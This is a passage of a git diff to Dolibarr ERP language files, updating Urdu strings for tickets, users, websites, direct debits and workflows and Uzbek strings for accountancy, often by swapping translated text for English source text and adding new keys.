TicketMessageSuccessfullyAdded=پیغام کامیابی کے ساتھ شامل ہو گیا۔ TicketMessagesList=پیغام کی فہرست @@ -202,8 +209,8 @@ TicketSeverity=شدت ShowTicket=ٹکٹ دیکھیں RelatedTickets=متعلقہ ٹکٹ TicketAddIntervention=مداخلت پیدا کریں۔ -CloseTicket=بند کریں | ٹکٹ حل کریں۔ -AbandonTicket=ٹکٹ چھوڑ دیں۔ +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=بند کریں | ٹکٹ حل کریں۔ ConfirmCloseAticket=ٹکٹ بند ہونے کی تصدیق کریں۔ ConfirmAbandonTicket=کیا آپ ٹکٹ کے بند ہونے کی تصدیق کرتے ہیں اسٹیٹس 'Abandonned' @@ -217,18 +224,17 @@ SendMessageByEmail=ای میل کے ذریعے پیغام بھیجیں۔ TicketNewMessage=نیا پیغام ErrorMailRecipientIsEmptyForSendTicketMessage=وصول کنندہ خالی ہے۔ کوئی ای میل نہیں بھیجا۔ TicketGoIntoContactTab=براہ کرم انہیں منتخب کرنے کے لیے "رابطے" ٹیب میں جائیں۔ -TicketMessageMailIntro=تعارف +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=یہ متن صرف ای میل کے شروع میں شامل کیا گیا ہے اور محفوظ نہیں کیا جائے گا۔ -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=دستخط -TicketMessageMailSignatureHelp=یہ متن صرف ای میل کے آخر میں شامل کیا گیا ہے اور محفوظ نہیں کیا جائے گا۔ -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=جوابی ای میل کے دستخط -TicketMessageMailSignatureHelpAdmin=یہ متن جوابی پیغام کے بعد داخل کیا جائے گا۔ +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=ٹکٹ کارڈ پر پیغام کی فہرست میں صرف یہ متن محفوظ کیا جائے گا۔ TicketMessageSubstitutionReplacedByGenericValues=متبادل متغیرات کو عام اقدار سے تبدیل کیا جاتا ہے۔ +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=تب سے وقت گزر گیا۔ TicketTimeToRead=پڑھنے سے پہلے وقت گزر گیا۔ TicketTimeElapsedBeforeSince=وقت سے پہلے / بعد سے گزر گیا @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=ٹکٹ پر %s موضوع کے سات TicketAssignedToYou=ٹکٹ تفویض کر دیا گیا۔ TicketAssignedEmailBody=آپ کو %s کی طرف سے ٹکٹ #%s تفویض کیا گیا ہے MarkMessageAsPrivate=پیغام کو نجی کے بطور نشان زد کریں۔ +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=یہ پیغام بیرونی صارفین کو نہیں دکھایا جائے گا۔ TicketEmailOriginIssuer=ٹکٹوں کی اصل پر جاری کنندہ InitialMessage=ابتدائی پیغام @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=آپ درج ذیل لنک پر کلک ک TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=براہ کرم اس ای میل کا براہ راست جواب نہ دیں! انٹرفیس میں جواب دینے کے لیے لنک کا استعمال کریں۔ TicketPublicInfoCreateTicket=یہ فارم آپ کو ہمارے انتظامی نظام میں سپورٹ ٹکٹ ریکارڈ کرنے کی اجازت دیتا ہے۔ -TicketPublicPleaseBeAccuratelyDescribe=براہ کرم مسئلہ کی درست وضاحت کریں۔ ہمیں آپ کی درخواست کی درست شناخت کرنے کی اجازت دینے کے لیے زیادہ سے زیادہ معلومات فراہم کریں۔ +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=براہ کرم ٹکٹ ٹریکنگ ID درج کریں۔ TicketTrackId=عوامی ٹریکنگ ID OneOfTicketTrackId=آپ کی ٹریکنگ آئی ڈی میں سے ایک diff --git a/htdocs/langs/ur_PK/users.lang b/htdocs/langs/ur_PK/users.lang index 18dbee63458..31e30c51062 100644 --- a/htdocs/langs/ur_PK/users.lang +++ b/htdocs/langs/ur_PK/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=گروپ سے نکال دیں۔ PasswordChangedAndSentTo=پاس ورڈ تبدیل کر کے %s پر بھیج دیا گیا۔ PasswordChangeRequest= %s کے لیے پاس ورڈ تبدیل کرنے کی درخواست PasswordChangeRequestSent= کے لیے پاس ورڈ بدلنے کی درخواست -IfLoginExistPasswordRequestSent=اگر یہ لاگ ان ایک درست اکاؤنٹ ہے تو پاس ورڈ کو دوبارہ ترتیب دینے کے لیے ایک ای میل بھیجی گئی ہے۔ +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=اگر یہ ای میل ایک درست اکاؤنٹ ہے تو پاس ورڈ کو دوبارہ ترتیب دینے کے لیے ایک ای میل بھیجی گئی ہے۔ ConfirmPasswordReset=پاس ورڈ دوبارہ ترتیب دینے کی تصدیق کریں۔ MenuUsersAndGroups=صارفین اور گروپس @@ -66,9 +66,9 @@ LinkedToDolibarrUser=صارف سے لنک کریں۔ LinkedToDolibarrThirdParty=تیسرے فریق سے لنک کریں۔ CreateDolibarrLogin=ایک صارف بنائیں CreateDolibarrThirdParty=تیسری پارٹی بنائیں -LoginAccountDisableInDolibarr=Dolibarr میں اکاؤنٹ کو غیر فعال کر دیا گیا ہے۔ +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=ذاتی قدر استعمال کریں۔ -InternalUser=اندرونی صارف ExportDataset_user_1=صارفین اور ان کی خصوصیات DomainUser=ڈومین صارف %s Reactivate=دوبارہ فعال کریں۔ @@ -128,3 +128,8 @@ DateLastLogin=Date last login DatePreviousLogin=Date previous login IPLastLogin=IP last login IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/ur_PK/website.lang b/htdocs/langs/ur_PK/website.lang index c9cce686375..443744e6ef8 100644 --- a/htdocs/langs/ur_PK/website.lang +++ b/htdocs/langs/ur_PK/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=کوڈ +WebsiteName=Name of the website WebsiteSetupDesc=یہاں وہ ویب سائٹس بنائیں جو آپ استعمال کرنا چاہتے ہیں۔ پھر ان میں ترمیم کرنے کے لیے مینو ویب سائٹس میں جائیں۔ DeleteWebsite=ویب سائٹ کو حذف کریں۔ ConfirmDeleteWebsite=کیا آپ واقعی اس ویب سائٹ کو حذف کرنا چاہتے ہیں؟ اس کے تمام صفحات اور مواد کو بھی ہٹا دیا جائے گا۔ اپ لوڈ کی گئی فائلیں (جیسے میڈیا ڈائرکٹری، ECM ماڈیول، ...) باقی رہیں گی۔ @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=HTML ہیڈر کے نیچے اضافہ (تمام صفحات WEBSITE_ROBOT=روبوٹ فائل (robots.txt) WEBSITE_HTACCESS=ویب سائٹ .htaccess فائل WEBSITE_MANIFEST_JSON=ویب سائٹ manifest.json فائل -WEBSITE_README=README.md فائل WEBSITE_KEYWORDSDesc=اقدار کو الگ کرنے کے لیے کوما کا استعمال کریں۔ -EnterHereLicenseInformation=README.md فائل کو بھرنے کے لیے یہاں میٹا ڈیٹا یا لائسنس کی معلومات درج کریں۔ اگر آپ اپنی ویب سائٹ کو ٹیمپلیٹ کے طور پر تقسیم کرتے ہیں، تو فائل کو آزمائشی پیکیج میں شامل کیا جائے گا۔ +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=HTML ہیڈر (صرف اس صفحہ کے لیے مخصوص) PageNameAliasHelp=صفحہ کا نام یا عرف۔
      یہ عرف SEO یو آر ایل بنانے کے لیے بھی استعمال ہوتا ہے جب ویب سائٹ کسی ویب سرور کے ورچوئل ہوسٹ (جیسے Apacke, Nginx, ...) سے چلائی جاتی ہے۔ اس عرف میں ترمیم کرنے کے لیے بٹن " %s " استعمال کریں۔ EditTheWebSiteForACommonHeader=نوٹ: اگر آپ تمام صفحات کے لیے ذاتی نوعیت کے ہیڈر کی وضاحت کرنا چاہتے ہیں تو صفحہ/کنٹینر کے بجائے سائٹ کی سطح پر ہیڈر میں ترمیم کریں۔ @@ -42,6 +43,8 @@ ViewPageInNewTab=نئے ٹیب میں صفحہ دیکھیں SetAsHomePage=ہوم پیج سیٹ کریں RealURL=اصلی URL ViewWebsiteInProduction=ہوم یو آر ایل کا استعمال کرتے ہوئے ویب سائٹ دیکھیں +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost= اپاچی کے ساتھ استعمال / NGinx / ...
      آپ کے ویب سرور پر تخلیق کریں (اپاچی، Nginx ...) پی ایچ پی کے ساتھ ایک سرشار مجازی میزبان فعال اور پر ایک روٹ ڈائریکٹری
      %s ExampleToUseInApacheVirtualHostConfig=اپاچی ورچوئل ہوسٹ سیٹ اپ میں استعمال کرنے کی مثال: YouCanAlsoTestWithPHPS= پر
      PHP سرایت سرور
      ساتھ استعمال کے ماحول کی ترقی، آپ
      PHP -S 0.0.0.0:8080 -t %s چلا کر PHP سرایت ویب سرور کے ساتھ سائٹ (PHP 5.5 درکار) کی جانچ کے لیے پسند کر سکتے ہیں @@ -137,7 +140,7 @@ PagesRegenerated=%s صفحہ/کنٹینر دوبارہ تیار کیا گیا RegenerateWebsiteContent=ویب سائٹ کیش فائلوں کو دوبارہ تخلیق کریں۔ AllowedInFrames=فریموں میں اجازت ہے۔ DefineListOfAltLanguagesInWebsiteProperties=ویب سائٹ کی خصوصیات میں تمام دستیاب زبانوں کی فہرست کی وضاحت کریں۔ -GenerateSitemaps=ویب سائٹ کا نقشہ فائل بنائیں +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=اگر آپ تصدیق کرتے ہیں، تو آپ موجودہ سائٹ میپ فائل کو مٹا دیں گے... ConfirmSitemapsCreation=سائٹ کا نقشہ تیار کرنے کی تصدیق کریں۔ SitemapGenerated=سائٹ کا نقشہ فائل %s تیار کیا گیا @@ -145,3 +148,10 @@ ImportFavicon=فیویکان ErrorFaviconType=Favicon png ہونا چاہیے۔ ErrorFaviconSize=فیویکن کا سائز 16x16، 32x32 یا 64x64 ہونا چاہیے۔ FaviconTooltip=ایک تصویر اپ لوڈ کریں جس کا png ہونا ضروری ہے (16x16، 32x32 یا 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/ur_PK/withdrawals.lang b/htdocs/langs/ur_PK/withdrawals.lang index 11f9cc76b26..57fe76132d6 100644 --- a/htdocs/langs/ur_PK/withdrawals.lang +++ b/htdocs/langs/ur_PK/withdrawals.lang @@ -31,8 +31,9 @@ SupplierInvoiceWaitingWithdraw=وینڈر انوائس کریڈٹ ٹرانسفر InvoiceWaitingWithdraw=انوائس براہ راست ڈیبٹ کا انتظار کر رہا ہے۔ InvoiceWaitingPaymentByBankTransfer=انوائس کریڈٹ ٹرانسفر کا انتظار کر رہی ہے۔ AmountToWithdraw=واپس لینے کی رقم +AmountToTransfer=Amount to transfer NoInvoiceToWithdraw='%s' کے لیے کھلا کوئی رسید انتظار نہیں کر رہا ہے۔ درخواست کرنے کے لیے انوائس کارڈ پر ٹیب '%s' پر جائیں۔ -NoSupplierInvoiceToWithdraw=کھلی 'براہ راست کریڈٹ کی درخواستوں' کے ساتھ کوئی سپلائر انوائس انتظار نہیں کر رہا ہے۔ درخواست کرنے کے لیے انوائس کارڈ پر ٹیب '%s' پر جائیں۔ +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=صارف ذمہ دار WithdrawalsSetup=براہ راست ڈیبٹ ادائیگی کا سیٹ اپ CreditTransferSetup=کریڈٹ ٹرانسفر سیٹ اپ @@ -41,6 +42,7 @@ CreditTransferStatistics=کریڈٹ ٹرانسفر کے اعدادوشمار Rejects=رد کرتا ہے۔ LastWithdrawalReceipt=تازہ ترین %s براہ راست ڈیبٹ رسیدیں۔ MakeWithdrawRequest=براہ راست ڈیبٹ ادائیگی کی درخواست کریں۔ +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=کریڈٹ ٹرانسفر کی درخواست کریں۔ WithdrawRequestsDone=%s براہ راست ڈیبٹ ادائیگی کی درخواستیں ریکارڈ کی گئیں۔ BankTransferRequestsDone=%s کریڈٹ ٹرانسفر کی درخواستیں ریکارڈ کی گئیں۔ @@ -99,8 +101,11 @@ CreditDate=پر کریڈٹ WithdrawalFileNotCapable=آپ کے ملک %s (آپ کا ملک تعاون یافتہ نہیں ہے) کے لیے رقم نکلوانے کی رسید بنانے میں ناکام ShowWithdraw=براہ راست ڈیبٹ آرڈر دکھائیں۔ IfInvoiceNeedOnWithdrawPaymentWontBeClosed=تاہم، اگر انوائس میں کم از کم ایک براہ راست ڈیبٹ ادائیگی کا آرڈر ابھی تک پروسیس نہیں ہوا ہے، تو اسے پہلے سے نکالنے کے انتظام کی اجازت دینے کے لیے بطور ادائیگی سیٹ نہیں کیا جائے گا۔ -DoStandingOrdersBeforePayments=یہ ٹیب آپ کو براہ راست ڈیبٹ ادائیگی کے آرڈر کی درخواست کرنے کی اجازت دیتا ہے۔ ایک بار مکمل ہوجانے کے بعد، مینو میں جائیں Bank->براہ راست ڈیبٹ کے ذریعے ادائیگی تاکہ ڈائریکٹ ڈیبٹ آرڈر تیار کریں اور اس کا نظم کریں۔ ڈائریکٹ ڈیبٹ آرڈر بند ہونے پر، انوائسز پر ادائیگی خود بخود ریکارڈ ہو جائے گی، اور اگر ادائیگی باقی ہے تو انوائسز بند ہو جائیں گی۔ -DoCreditTransferBeforePayments=یہ ٹیب آپ کو کریڈٹ ٹرانسفر آرڈر کی درخواست کرنے کی اجازت دیتا ہے۔ ایک بار مکمل ہوجانے کے بعد، مینو میں جائیں بینک-> کریڈٹ ٹرانسفر کے ذریعے ادائیگی کریڈٹ ٹرانسفر آرڈر تیار کرنے اور اس کا نظم کرنے کے لیے۔ جب کریڈٹ ٹرانسفر آرڈر بند ہو جائے گا، انوائس پر ادائیگی خود بخود ریکارڈ ہو جائے گی، اور اگر ادائیگی باقی ہے تو انوائسز بند ہو جائیں گی۔ +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=ڈیبٹ آرڈر فائل CreditTransferFile=کریڈٹ ٹرانسفر فائل SetToStatusSent="فائل بھیجی گئی" کی حیثیت پر سیٹ کریں @@ -117,7 +122,7 @@ WithdrawRequestErrorNilAmount=خالی رقم کے لیے براہ راست ڈی SepaMandate=SEPA ڈائریکٹ ڈیبٹ مینڈیٹ SepaMandateShort=SEPA مینڈیٹ PleaseReturnMandate=براہ کرم یہ مینڈیٹ فارم بذریعہ ای میل %s پر یا بذریعہ ڈاک واپس کریں۔ -SEPALegalText=اس مینڈیٹ فارم پر دستخط کرکے، آپ (A) %s کو اختیار دیتے ہیں کہ وہ آپ کے اکاؤنٹ کو ڈیبٹ کرنے کے لیے اپنے بینک کو ہدایات بھیجے اور (B) آپ کے بینک کو %s کی ہدایات کے مطابق آپ کے اکاؤنٹ کو ڈیبٹ کرنے کا اختیار دیں۔ اپنے حقوق کے حصے کے طور پر، آپ اپنے بینک کے ساتھ اپنے معاہدے کی شرائط و ضوابط کے تحت اپنے بینک سے رقم کی واپسی کے حقدار ہیں۔ مندرجہ بالا مینڈیٹ سے متعلق آپ کے حقوق کی وضاحت ایک بیان میں کی گئی ہے جو آپ اپنے بینک سے حاصل کر سکتے ہیں۔ +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=قرض دہندہ شناخت کنندہ CreditorName=قرض دینے والے کا نام SEPAFillForm=(B) براہ کرم نشان زدہ تمام فیلڈز کو مکمل کریں* @@ -136,6 +141,7 @@ SEPAFRST=SEPA FRST ExecutionDate=پھانسی کی تاریخ CreateForSepa=ڈائریکٹ ڈیبٹ فائل بنائیں ICS=کریڈٹ کنندہ شناخت کنندہ - ICS +IDS=Debitor Identifier END_TO_END="EndToEndId" SEPA XML ٹیگ - فی ٹرانزیکشن تفویض کردہ منفرد شناخت USTRD="غیر ساختہ" SEPA XML ٹیگ ADDDAYS=عملدرآمد کی تاریخ میں دن شامل کریں۔ @@ -154,3 +160,4 @@ ErrorICSmissing=بینک اکاؤنٹ %s میں ICS غائب ہے۔ TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=براہ راست ڈیبٹ آرڈر کی کل رقم لائنوں کے مجموعے سے مختلف ہے۔ WarningSomeDirectDebitOrdersAlreadyExists=انتباہ: پہلے سے ہی کچھ زیر التواء ڈائریکٹ ڈیبٹ آرڈرز (%s) کی درخواست کی گئی ہے %s WarningSomeCreditTransferAlreadyExists=انتباہ: پہلے سے ہی کچھ زیر التواء کریڈٹ ٹرانسفر (%s) کی درخواست کی گئی ہے %s کی رقم +UsedFor=Used for %s diff --git a/htdocs/langs/ur_PK/workflow.lang b/htdocs/langs/ur_PK/workflow.lang index 552890cec33..7da2a5f992f 100644 --- a/htdocs/langs/ur_PK/workflow.lang +++ b/htdocs/langs/ur_PK/workflow.lang @@ -7,6 +7,7 @@ descWORKFLOW_PROPAL_AUTOCREATE_ORDER=تجارتی تجویز پر دستخط ہ descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=تجارتی تجویز پر دستخط ہونے کے بعد خودکار طور پر ایک کسٹمر انوائس بنائیں (نئے انوائس میں پروپوزل کے برابر رقم ہوگی) descWORKFLOW_CONTRACT_AUTOCREATE_INVOICE=معاہدے کی توثیق کے بعد خودکار طور پر ایک کسٹمر انوائس بنائیں descWORKFLOW_ORDER_AUTOCREATE_INVOICE=سیلز آرڈر بند ہونے کے بعد خودکار طور پر کسٹمر انوائس بنائیں (نئے انوائس میں آرڈر کے برابر رقم ہوگی) +descWORKFLOW_TICKET_CREATE_INTERVENTION=On ticket creation, automatically create an intervention. # Autoclassify customer proposal or order descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=جب سیلز آرڈر کو بل پر سیٹ کیا جاتا ہے تو لنکڈ سورس پروپوزل کو بطور بل کی درجہ بندی کریں (اور اگر آرڈر کی رقم دستخط شدہ لنکڈ پروپوزل کی کل رقم کے برابر ہے) descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=جب گاہک کی انوائس کی توثیق کی جاتی ہے تو لنک شدہ سورس پروپوزل کو بل کے طور پر درجہ بندی کریں (اور اگر انوائس کی رقم دستخط شدہ لنکڈ پروپوزل کی کل رقم کے برابر ہے) @@ -21,10 +22,15 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=جب وینڈر ان descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=جب کسی استقبالیہ کی توثیق ہو جاتی ہے تو منسلک ذریعہ خریداری کے آرڈر کو موصول ہونے کے مطابق درجہ بندی کریں (اور اگر تمام استقبالیوں کو موصول ہونے والی مقدار وہی ہے جو اپ ڈیٹ کرنے کے لیے خریداری آرڈر میں ہے) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=ریسیپشن بند ہونے پر موصول ہونے والے لنکڈ سورس پرچیز آرڈر کی درجہ بندی کریں (اور اگر تمام ریسپشنز کو موصول ہونے والی مقدار وہی ہے جو اپ ڈیٹ کرنے کے لیے خریداری آرڈر میں ہے) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=جب کسی منسلک سپلائر آرڈر کی توثیق ہو جاتی ہے تو استقبالیہ کو "بل شدہ" میں درجہ بندی کریں۔ +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) +# Automatically link ticket to contract +descWORKFLOW_TICKET_LINK_CONTRACT=When creating a ticket, link available contracts of matching thirdparty +descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=When linking contracts, search among those of parents companies # Autoclose intervention descWORKFLOW_TICKET_CLOSE_INTERVENTION=ٹکٹ بند ہونے پر ٹکٹ سے منسلک تمام مداخلتوں کو بند کر دیں۔ AutomaticCreation=خودکار تخلیق AutomaticClassification=خودکار درجہ بندی # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=جب کسٹمر انوائس کی توثیق ہو جائے تو لنک شدہ سورس شپمنٹ کو بند کے طور پر درجہ بندی کریں۔ +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) +AutomaticClosing=Automatic closing +AutomaticLinking=Automatic linking diff --git a/htdocs/langs/uz_UZ/accountancy.lang b/htdocs/langs/uz_UZ/accountancy.lang index 3a43fb98d83..9f5abafab80 100644 --- a/htdocs/langs/uz_UZ/accountancy.lang +++ b/htdocs/langs/uz_UZ/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Vagonni qaytarish turini tanlang ACCOUNTING_EXPORT_PREFIX_SPEC=Specify the prefix for the file name ThisService=Ushbu xizmat ThisProduct=Ushbu mahsulot -DefaultForService=Xizmat uchun standart -DefaultForProduct=Mahsulot uchun standart +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Ushbu uchinchi tomon uchun mahsulot ServiceForThisThirdparty=Ushbu uchinchi tomon uchun xizmat CantSuggest=Taklif qila olmayman @@ -48,8 +48,9 @@ CountriesNotInEEC=EEC tarkibiga kirmagan mamlakatlar CountriesInEECExceptMe=%s dan tashqari EECdagi mamlakatlar CountriesExceptMe=%s dan tashqari barcha mamlakatlar AccountantFiles=Dastlabki hujjatlarni eksport qilish -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=Jurnallaringizni eksport qilish uchun %s - %s menyu yozuvidan foydalaning. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=Buxgalteriya hisobi bo'yicha ko'rish VueBySubAccountAccounting=Buxgalteriya subkontaji bo'yicha ko'rish @@ -58,6 +59,7 @@ MainAccountForSuppliersNotDefined=O'rnatishda aniqlanmagan sotuvchilar uchun aso MainAccountForUsersNotDefined=O'rnatishda aniqlanmagan foydalanuvchilar uchun asosiy buxgalteriya hisobi MainAccountForVatPaymentNotDefined=O'rnatishda aniqlanmagan QQSni to'lash uchun asosiy buxgalteriya hisobi MainAccountForSubscriptionPaymentNotDefined=O'rnatishda aniqlanmagan obuna to'lovining asosiy buxgalteriya hisobi +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Buxgalteriya hisobi maydoni AccountancyAreaDescIntro=Buxgalteriya modulidan foydalanish bir necha bosqichda amalga oshiriladi: @@ -99,7 +101,8 @@ ShowAccountingAccount=Buxgalteriya hisobini ko'rsatish ShowAccountingJournal=Buxgalteriya jurnalini ko'rsatish ShowAccountingAccountInLedger=Buxgalteriya hisobini daftarda ko'rsatish ShowAccountingAccountInJournals=Buxgalteriya hisobini jurnallarda ko'rsatish -AccountAccountingSuggest=Buxgalteriya hisobi tavsiya etildi +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Standart hisoblar MenuBankAccounts=Bank hisobvaraqlari MenuVatAccounts=QQS hisob-kitoblari @@ -124,6 +127,7 @@ WriteBookKeeping=Buxgalteriya hisobida operatsiyalarni qayd etish Bookkeeping=Kitob BookkeepingSubAccount=Subledger AccountBalance=Hisob balansi +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Manba ob'ekti ref CAHTF=Soliqqa qadar jami sotib olish sotuvchisi TotalExpenseReport=Jami xarajatlar hisoboti @@ -163,40 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=Yordamchi hisob uchun kombinatsiyalangan ro'yxatni yoq ACCOUNTING_DATE_START_BINDING=Buxgalteriyada majburiy va o'tkazishni boshlash uchun sanani aniqlang. Ushbu sana ostida operatsiyalar buxgalteriya hisobiga o'tkazilmaydi. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Sell journal -ACCOUNTING_PURCHASE_JOURNAL=Purchase journal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Social journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Yangi jurnal mavjud +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Social journal ACCOUNTING_RESULT_PROFIT=Natija buxgalteriya hisobi (foyda) ACCOUNTING_RESULT_LOSS=Natija buxgalteriya hisobi (Zarar) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Yopish jurnali -ACCOUNTING_ACCOUNT_TRANSFER_CASH=O'tish davri o'tkazmalarining buxgalteriya hisobi +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=O'tkazma hisobvarag'i -ACCOUNTING_ACCOUNT_SUSPENSE=Kutishning buxgalteriya hisobi -DONATION_ACCOUNTINGACCOUNT=Xayriya mablag'larini ro'yxatdan o'tkazish uchun buxgalteriya hisobi -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Obunalarni ro'yxatdan o'tkazish uchun buxgalteriya hisobi +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Mijozlar depozitini ro'yxatdan o'tkazish uchun sukut bo'yicha buxgalteriya hisobi +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Xarid qilingan mahsulotlar uchun sukut bo'yicha buxgalteriya hisobi (agar mahsulot varag'ida belgilanmagan bo'lsa foydalaniladi) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=EECda sotib olingan mahsulotlar uchun sukut bo'yicha buxgalteriya hisobi (agar mahsulot varag'ida belgilanmagan bo'lsa foydalaniladi) 